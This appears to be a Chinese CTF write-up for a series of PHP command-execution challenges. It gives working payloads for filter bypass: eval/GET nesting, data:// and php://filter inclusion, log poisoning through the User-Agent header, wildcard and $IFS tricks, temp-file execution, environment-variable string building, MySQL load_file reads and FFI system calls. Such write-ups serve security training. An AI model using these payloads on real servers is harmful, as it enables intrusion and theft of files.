目录
命令执行
29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`
30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三
31:这一题有多种解法看自身理解,答案不唯一
32:这一题还是一样多种解法这里演示两种
33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)
37-39:这一题用伪协议随便过(简单的文件包含)
40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入
41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本
42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是
53:还是同样的直接c""at${IFS}fl""ag.p""hp
54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一
55:两种解法
56:可用55题的第二方法解开
57:应该是想让了解linux的运算符
58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行
66:这里将flag换了个地方
67:这里把print_r和show_source禁用了
68:这里又把highlight_file禁用了
69:这里又禁用了var_dump
70:和69一样但是禁用了其他的东西
71:从源代码看,这里开启了缓冲区
72-74:到这里似乎就禁止进行文件扫描了
75:这里学到了一个新方法
76:这里使用php的另一个模块连接mysql
77:这里使用的是只有php7.4以上才有的模块ffi
118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量
119:和118大致也是同理,通过利用系统的变量来做题
120:和前两题一样只不过把过滤写出来了(可举一反三)
121:也是一样的只是把USER和其他的也禁用了
122:
124:
命令执行
29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`
nl和cat的区别就是nl会列出文件内容并且带有行号
30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三
31:这一题有多种解法看自身理解,答案不唯一
get嵌套
利用了eval()函数再写了一个$_GET['s']来接受变量,这样可以完全绕过所有验证
最后payload:c=eval($_GET['s']);&s=system('cat flag.php')
passthru()虽然system被禁用了但是还有很多可以调用系统命令的函数
例如:exec,shell_exec(),popen()之类的,可自行尝试
pyload:
c=passthru("c\at\$IFS\$1fla*");
最后还可以使用无参数rce,就像给的提示一样
32:这一题还是一样多种解法这里演示两种
第一种通过include包含文件
payload:
c=include$_GET["a"]?>&a=data://text/plain,<?php%20eval(system("cat%20flag.php"));?>
这个符号?>是应为防护里过滤了;符号,所以我们直接将后面的代码全部不要了直接闭合
例如:
<?php include$_GET["a"]?>preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c));?>
a后面使用的是伪协议也可以使用php://filter/read=convert.base64-encode/resource=flag.php
其他的伪协议也可以使用
第二种利用系统的日志文件写入代码然后访问利用(!!!这里的前提是可以访问到日志)
payload:
c=include$_GET["a"]?>&a=../../../../var/log/nginx/access.log
先随便刷新然后写入代码让日志文件记住
然后再刷新再写入我们包含日志文件的代码
bp抓包在user—agent写入代码
原理:日志文件会自动收集user—agent的信息,然后通过文件包含include命令来引用日志文件。
33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)
37-39:这一题用伪协议随便过(简单的文件包含)
例如:data://text/plain;base64,base64加密后的命令
如果传入参数后会有自动添加点东西可用//注释掉###如果有影响才会去注释它
例如:?c=data://text/palin,<?php%20eval(system(%27cat%20`ls`%27));?>//
40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入
例子:
1.eval(implode(getallheaders()))
函数getallfeaders函数获取全部传入的head信息但是返回的是数组,而eval只能接收字符串,所以需要用implode转化为字符串,
例如:
php版本不同getallheaders读取的顺序也会不同,这里的环境是从最后读取的,所以在最后加上了//来注释掉后面的head信息
2.show_source(next(array_reverse(scandir(pos(localeconv())))));
1)函数localeconv会返回一包含本地数字及货币格式信息的数组,这里主要是他返回的第一个字符串“ . ”
2)pos函数可以输出数组里的第一个值,刚好可以拿来读localeconv返回的数组的第一个值“ . ”
3)scandir函数返回指定目录中的文件和目录的数组,因为pos(localeconv())两个函数结合起来输出刚好是“ . ”,所以scandir(.)扫的是当前目录
4)array_reverse翻转数组,就是将scandir扫的目录返回的数组倒过来
5)next()将数组指针指向下一个
6)show_source查看源码
41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本
#大致意思就是通过php的这四个运算符来构造新的字符串来执行命令
RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)
原理:
异或^:数字相同为1不同为0(1^1=1,1^0=0),利用这个特性来构造字符串
例如:'a'^'$'=E
按位或运算|:参与运算的两个数转化为二进制后,全为1则取1,如果是1和0这种还是取1
例如:101|100=101 101|101=101 100|100=100
按位与运算&:参与运算的两个数转化为二进制后,全为1则取1,存在0时取0
例如:101&100=100 101&101=101 100&100=100
42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是
####这些题出出来估计是为了加强记忆用的
- 隔断可以用%0a或者||之类的都可以
- 空格绕过:$IFS $IFS$随便一个数字 ${IFS} %09 %20 < <>###这最后两个是重定向符号,因起原理也可以用来当作空格使用
- 查看文件:cat tac(倒过来读取文件) nl(显示的时候顺便输出行号) sort(可以查看) head(读取前几行) more(一页一页的读取也可以用来查看) uniq(可以查看) less tail od
53:还是同样的直接c""at${IFS}fl""ag.p""hp
54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一
payload:/bin/?at${IFS}f??????? ca?${IFS}fla?.php mv${IFS}fla?.php${IFS}1.txt然后ca?${IFS}1.txt
55:两种解法
1.看过payload后直到的一种骚操作,但是有局限性
利用/bin/base64加密文件然后会输出的特性,这里的前提是可以输数字
payload:/???/????64 ????????
2.另一种是通过上传文件然后用符号.调用执行文件
#####一种很新奇的解题方式
第一个知识点:
通过post上传文件,此时php会在linux里的零时文件夹保存文件,且文件一定是php加上六个随机的字符 /tmp/php??????
这个应php保存的临时文件会有一个特性,就是这6个随机的字符会出现大写的情况
例如:
普通文件/tmp/adcabcabc
php保存的临时文件/tmp/phpAvxAsa
第二个知识点:
现在直到了文件上传的位置以及特性那么现在要怎么利用它
- shell下支持使用. 来执行文件
- linux支持glob通配符代替文件名
例如我们需要利用到/tmp/phpFsGFKd这个文件,他和其他文件的区别就是php保存的临时文件会有大写字母的出现,而glob支持利用
[0-9]
来表示一个范围,这就很好的解决了问题,可以使用[@-[]这两个字符之间真好是全部大写字母,放在最后正好可以用来匹配文件名最后出现了大写字母的文件
payload:.%20/???/????????[@-[]
完整流程
用html写一个提交post文件的页面
例如:
56:可用55题的第二方法解开
57:应该是想让了解linux的运算符
想了解更详细可以去看这篇博文
linux之${ }、[ ]、$( )、$[ ]、$(( ))、[[ ]]、(( ))的作用_linux $[]-CSDN博客
这里flag放在36里面,但是数字被禁掉
在linux里$(())是运算符,例如:$((1+2))=3 如果$(())这样用他会算出0
而~是取反符号如果这样用,例如:~$((1+2))= -4 如果$(())返回0的话~$(())这样用就会返回-1
例子:
$((~$(())~$(())))=$((-1-1))= -2 ~$((~$(())~$(())))=~$((-1-1))=1
转化为负数会减少一位,那么按照这个原理在里面放37个~$(())然后再用$(())包裹起来就会得到36
payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行
####这里每一题基本都是一样的,可以尝试多种不同的无参数rce,或者include文件包含这一类
方案一(include文件包含):
c=include($_POST['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
或者####在没有过滤参数c的情况下
c=include('flag.php');
方案二(使用php内置函数):
- show_source() highlight_file():
show_source('flag.php'); highlight_file('flag.php');
这两个函数都是用来高亮显示文件内容
66:这里将flag换了个地方
var_cump(scandir('/'));
67:这里把print_r和show_source禁用了
这里使用var_dump()替换print_r
var_dump(scandir('/'));扫描根目录文件并输出
highlight_file('/flag.txt');读取文件
68:这里又把highlight_file禁用了
不能显示文件可以使用var_dump输出变量信息
var_dump(scandir('/'));扫描文件
这里用文件包含绕过
c=include('/flag.txt')
69:这里又禁用了var_dump
可以用echo替换,但是echo只能输出字符串,所以使用implode将数组转换为字符串
c=echo(implode('!',scandir('/')));使用!来隔开每个文件名,不然黏在一起的
c=include('/flag.txt');
70:和69一样但是禁用了其他的东西
71:从源代码看,这里开启了缓冲区
ob_get_contents返回内部缓冲区内容
ob_end_clean则会清除缓冲区内容并且关闭
方案一:退出缓冲区以后后面它的命令就不会执行
提前退出缓冲区不让他进去###ob_end_flush释放内部缓冲区的内容,并关闭缓冲区
c=echo(implode('~~~',scandir('/')));ob_end_flush();
c=include('/flag.txt');ob_end_flush();
方案二:
执行完我们的程序后直接结束
c=echo(implode('~~~',scandir('/')));exit();
c=include('/flag.txt');exit();
72-74:到这里似乎就禁止进行文件扫描了
这里通过搜索资料学到的新东西
关于php的DirectoryIterator迭代器
- DirectoryIterator迭代器大概就是一个遍历目录的一个php的库,它可以指定需要遍历的文件然后给一个变量
- 然后通过foreach函数一个一个交给另一个变量,就从数组变成了字符串
- 可以使用很多关于文件信息的函数,例如下图的isdir()就是判断给定的文件是否是一个目录
- 最后在通过方法名来输出,例如下图的getFilename()获取当前Iterator item文件名(带扩展名)
这里列出一些常用的信息名以及方法名
信息名:
file_exists()该文件是否存在 is_dir()该文件是否是一个目录 is_file()该文件是否是一个正常文件
方法名:
getPathname()获取当前itorator item路径名
getFilename()获取当前itorator itrm文件名带拓展名
getPath()获取当前itorator itrm的路径名
payload:###glob://用来查找匹配文件路径的
?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().' ');
}
exit(0);
?>
75:这里学到了一个新方法
这一题include被限制了,而uaf poc因为strlen被禁了获取不到system地址也没法用
首先还是使用DirectoryIterator模块来扫描目录
?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().' ');
}
exit(0);
?>
这里就用到了数据库的load_file来查询了
首先连接数据库
$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");
本地服务器 用户名 密码 数据库名称
设置sql语句
$sql='select load_file("/flag36.txt")';
执行sql语句并且使用变量result接收
$result = mysqli_query($conn, $sql);
最后使用mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();
最后payload:
$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql='select load_file("/flag36.txt") as a'; $result = mysqli_query($conn, $sql); while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();
76:这里使用php的另一个模块连接mysql
首先还是使用DirectoryIterator模块来扫描目录
?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().' ');
}
exit(0);
?>
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
77:这里使用的是只有php7.4以上才有的模块ffi
FFI提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。
其实现有大量的PHP扩展是对一些已有的C库的包装,某些常用的mysqli,curl,gettext等,PECL中也有大量的类似扩展。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
最后在去访问1.txt
118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量
payload:${PATH:~A}${PWD:~A}$IFS????.???
这里猜测${PATH:~A}${PWD:~A}应该是是拿取的nl之类的读取文件的函数
- ${PATH:~A}有点类似于python里的元组或者集合,或者说是字典
例如:
a =’ 1234‘
${a:~A}这样就可以取出最后一个字符4或者${a:1}就会从第二个取出来到最后一个或者${a:2:4}就会取出第3个到第5个,(起始位标是0) - PATH:环境变量的一种,${PATH:~A}的意思大致就是取PATH环境变量的最后一个字符
例如: - PWD:也是一种环境变量,他会一直显示当前所在的目录
例如:
119:和118大致也是同理,通过利用系统的变量来做题
119题是把环境变量path禁用了,所以这里用其他的
这里的思路:
直接构造cat函数的绝对路径来利用cat读取flag.php
payload:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
大致意思:
${PWD:${#}:${#SHLVL}} > ${PWD:1:1} > / (${#}=1,${#SHLVL}=1)
${HOME:${#HOSTNAME}:${#SHLVL}} >
- ${#}:输出0 ${##}和${#?}:输出1 (只能计算这两个再多都会置零)
- ${#IFS}=3 (在linux里$IFS占三位,mac占四位)
- $HOME:家目录的环境变量
- $SHLVL:这里的shell只有一层嵌套所以是1
SHLVL记录了bash Shell嵌套的层次,当启动第一个Shell时, $SHLVL=1,如果在这个Shell中执行脚本,脚本中的SHLVL为2,如果脚本再执行子脚本,子脚本中的SHLVL就变为3了。 - ${#PATH}:会计算PATH里的长度,类似于python里的len函数
- {}:应该是计算符
- $USER:当前用户吧
120:和前两题一样只不过把过滤写出来了(可举一反三)
payload:
${PWD::${##}}???${PWD::${##}}?${USER:~A}?$IFS????.???
####我的环境$USER是root,ctfshow的不是所以这里是正常的
121:也是一样的只是把USER和其他的也禁用了
首先通过它之前的关卡可以直到他的$PWD显示的当前路径是:/var/www/html
这里可以用到里面的r
payload:
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#?}}??$IFS????.???
这里利用的是/bin/rev和tac的作用差不多,倒过来查,利用python跑脚本就能倒过来,其他的也行
122:
这里通过$?来实现,当上一条命令执行结束后的并且成功$?=0,如果失败则$?=1,所以这次需要多次刷新来实现$?=${##}=1
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
<A;这个使用来让他第一条命令执行失败的
$RANDOM会生成随机数,每一次使用都不一样,这里我们要利用的是base64,所以需要刷新很多次直到${RANDOM::$?}取到4
124:
payload:
/?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php